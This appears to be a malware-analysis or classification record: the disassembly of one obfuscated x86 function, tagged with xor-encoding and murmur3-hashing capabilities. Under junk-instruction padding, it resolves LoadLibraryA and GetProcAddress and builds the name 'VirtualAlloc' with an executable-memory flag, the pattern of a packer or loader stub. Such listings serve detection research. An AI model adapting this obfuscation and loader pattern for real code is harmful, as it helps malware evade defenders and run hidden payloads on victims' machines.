Function at 0x4a7a1b
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
mov ecx, 0x603a64
or dword [0x50673e], 0x18c753f
inc esi
rol eax, 0x1d
or dword [0x50662d], ecx
neg eax
ror eax, 0xa
mov dword [0x5066dd], 0x46f5383
inc esi
neg eax
dec esi
shl esi, 2
or ebx, dword [0x502ace]
add dl, ah
into
mov ecx, eax
sub ebx, esp
or esi, edi
not esi
or esi, edi
rol esi, 0xe
mov eax, 0x6c303ff
xor esi, 0x90faa9a
test esi, 0x19eda55
jo 0x4a7a0c
sub dword [0x50656f], esi
rol edx, 0x1b
mov esi, eax
sub esi, eax
xor esi, esi
add ecx, esp
or esi, edi
sub ecx, dword [0x502537]
rol edx, 0xe
xor esi, eax
mov ecx, 0xced603
neg esi
or dword [0x5065ec], ebx
inc edi
rol edx, 5
xchg eax, eax
rol edx, 0x16
xchg ebx, eax
sub edi, dword [0x50268a]
inc esi
dec esi
shr esi, 0x1e
call fcn.0049ff95
neg esi
loop 0x4a7a86
add edx, ecx
xor eax, 0x2b41732
not eax
call fcn.00424993
mov edx, 0x340b578
and esi, edi
sub eax, eax
neg eax
xor esi, eax
inc ebx
mov ecx, 0x15d582
shl ebx, 0x10
neg esi
xchg eax, eax
rol ebx, 2
mov dword [0x5065ce], ecx
neg eax
mov dword [0x506780], esi
inc eax
xor dword [0x5067d8], esi
shr eax, 0x1d
xchg eax, eax
xor dword [0x50618d], edi
sub dword [0x5064fb], 0x8be1de8
inc ebx
loop 0x4a7acf
sub ebx, dword [0x50274a]
xor ebx, eax
dec ecx
xor eax, eax
mov esi, eax
call fcn.004a01e7
xor ecx, 0x6bd4f6b
xchg edx, eax
or esi, 0x3a1418
and esi, edi
mov ecx, eax
neg eax
add esi, eax
ror eax, 7
mov edx, 0xc17a009
call fcn.0041950c
push str.KERNEL32.dll
xor edx, dword [0x502260]
xor esi, eax
not eax
call fcn.004a01e7
dec edi
and dword [0x506644], ecx
xor esi, eax
sub ebx, dword [0x502802]
dec esi
not ecx
call fcn.004083d6
xor esi, 0x6a8ea4
xchg esi, edx
or dword [0x50616f], edi
xchg ebx, esi
xor esi, eax
not edx
xor ecx, esp
call fcn.00405954
call fcn.004088cf
mov dword [0x5067ac], ebx
call fcn.00407a90
call fcn.00403208
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add ebx, eax
xor esi, eax
mov dword [0x50651c], esi
dec esi
xchg eax, edx
sub dword [0x5063f8], ecx
sub dword [0x506294], ebx
xchg edx, edx
xor dword [0x5066b8], edx
rol edi, 0xf
call fcn.004084e4
sub esi, 0x136e890c
ror edi, 5
call fcn.00407482
call fcn.00407fe0
rol edi, 5
add esi, 0x136e890c
call fcn.0040840c
ror edi, 0xf
add dword [0x506544], edx
xchg edx, edx
xor dword [0x506450], esi
mov dword [0x506420], esi
xchg eax, edx
inc esi
mov dword [0x506691], edi
xor esi, eax
sub ebx, eax
push 0
ror esi, 0x1f
xchg edi, edx
xor ebx, ecx
and dword [0x506604], esi
neg eax
add ebx, esi
dec esi
rol esi, 7
neg eax
call fcn.00405755
xchg edx, esi
add edi, edx
neg eax
xor edx, ebx
mov dword [0x506774], ecx
xor esi, eax
mov dword [0x50618f], 0x167300b4
call fcn.00404fe7
mov dword [0x50624e], 0x4b5918c
xor edi, eax
xor esi, 0x60c89fa
rol eax, 0x18
ror eax, 0x18
xor esi, 0x60c89fa
xor edi, eax
xor dword [0x5066ae], 0xc5a1c5d
call fcn.00404fe7
xor dword [0x506824], 0x293a4a48
xor esi, eax
mov dword [0x506748], edx
xor edx, ebx
neg eax
sub edi, edx
xchg edx, esi
call fcn.00401e67
neg eax
ror esi, 7
inc esi
sub ebx, esi
neg eax
mov dword [0x506694], ebx
xor ebx, ecx
xchg edi, edx
rol esi, 0x1f
push 0x636f6c6c
not esi
xor esi, eax
inc esi
xor edx, eax
sub edi, eax
neg eax
sub ecx, esp
call fcn.00406f57
xor dword [0x5062e6], edx
neg eax
xor esi, dword [0x506c5f]
neg eax
add ecx, esp
neg eax
add edi, eax
xor edx, eax
dec esi
xor esi, eax
not esi
push 0x416c6175
xor eax, edx
call fcn.00405755
mov dword [0x506796], ecx
inc ebx
rol esi, 6
neg edi
xor ecx, dword [0x506f00]
neg eax
add dword [0x5062b4], edi
xchg eax, eax
inc eax
sub edx, dword [0x5069d1]
dec eax
xchg eax, eax
mov dword [0x5065e5], esi
neg eax
neg edi
ror esi, 6
dec ebx
call fcn.00404fe7
xor eax, edx
push 0x74726956
sub dword [0x506206], 0x27418d8
sub edi, dword [0x506a2b]
call fcn.00404172
sub dword [0x50652e], 0x1474c5a5
xor eax, edx
not esi
rol eax, 7
add eax, 0x1a979244
sub ebx, dword [0x506958]
xor ecx, edx
xor ecx, edx
sub eax, 0x1a979244
ror eax, 7
not esi
xor eax, edx
mov dword [0x5065a6], 0x20dbecc8
mov dword [0x506694], 0x26290b64
push esp
sub ebx, dword [0x506f68]
xor ebx, 0x17aa0416
inc esi
call fcn.00402719
xchg edi, esi
sub edx, 0x147d2e22
call fcn.004052ac
mov dword [0x506467], edi
call fcn.0040674c
xor dword [0x506650], 0x1e177d98
call fcn.00401255
mov dword [0x506688], ecx
add edx, 0x147d2e22
xchg edi, esi
call fcn.00405755
dec esi
xor ebx, 0x17aa0416
push eax
call fcn.00406c2f
xor esi, dword [0x506a99]
inc ebx
add edx, eax
call fcn.00403747
sub esi, eax
call fcn.004044f9
add ecx, dword [0x506cdc]
sub esi, dword [0x50688e]
xor ecx, dword [0x506f90]
call fcn.00403208
ror edx, 0x1f
xor edi, esi
inc esi
dec esi
xor edi, esi
rol edx, 0x1f
call fcn.00402719
add esi, eax
call fcn.0040477a
sub edx, eax
dec ebx
call fcn.00407a90
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
neg edx
xor ecx, dword [0x506cd8]
call fcn.00408c0b
neg esi
sub ecx, dword [0x506e31]
call fcn.004044f9
add esi, esp
xor eax, esi
rol eax, 0x12
call fcn.00408ffe
sub esi, dword [0x506e2a]
add ecx, ebp
sub ecx, ebp
call fcn.00401255
ror eax, 0x12
xor eax, esi
sub esi, esp
call fcn.00405d1e
neg esi
call fcn.00403911
neg edx
add esp, 0x10
xor esi, eax
xchg esi, eax
add edi, esp
add dword [0x5064f6], 0x52a3460
xor ecx, dword [0x506a2c]
call fcn.0040477a
xor eax, edi
add edx, eax
sub esi, dword [0x506b0c]
rol ecx, 2
add ecx, eax
sub ebx, esi
call fcn.00402ad9
mov dword [0x5063cb], 0x1ba304
add ebx, esi
sub ecx, eax
ror ecx, 2
sub edx, eax
xor eax, edi
call fcn.00405755
xor dword [0x506235], 0x35f3af0
sub edi, esp
xchg esi, eax
xor esi, eax
push 0x40
xor edx, ebx
not ebx
mov dword [0x506228], ecx
xor esi, eax
ror ebx, 3
add edx, 0x3217278
call fcn.00402719
dec eax
xor ecx, dword [0x506e43]
xor eax, edx
mov dword [0x50630b], ecx
ror esi, 0x12
inc eax
sub esi, dword [0x506d84]
or dword [0x50622c], 0x7e8edb8
mov eax, 0x3107e8ed
xor eax, 0x506668
call fcn.00401255
inc esi
neg esi
add dword [0x5066d6], esi
and dword [0x506570], edx
mov dword [0x506266], ecx
neg esi
dec esi
call fcn.004044f9
invalid
invalid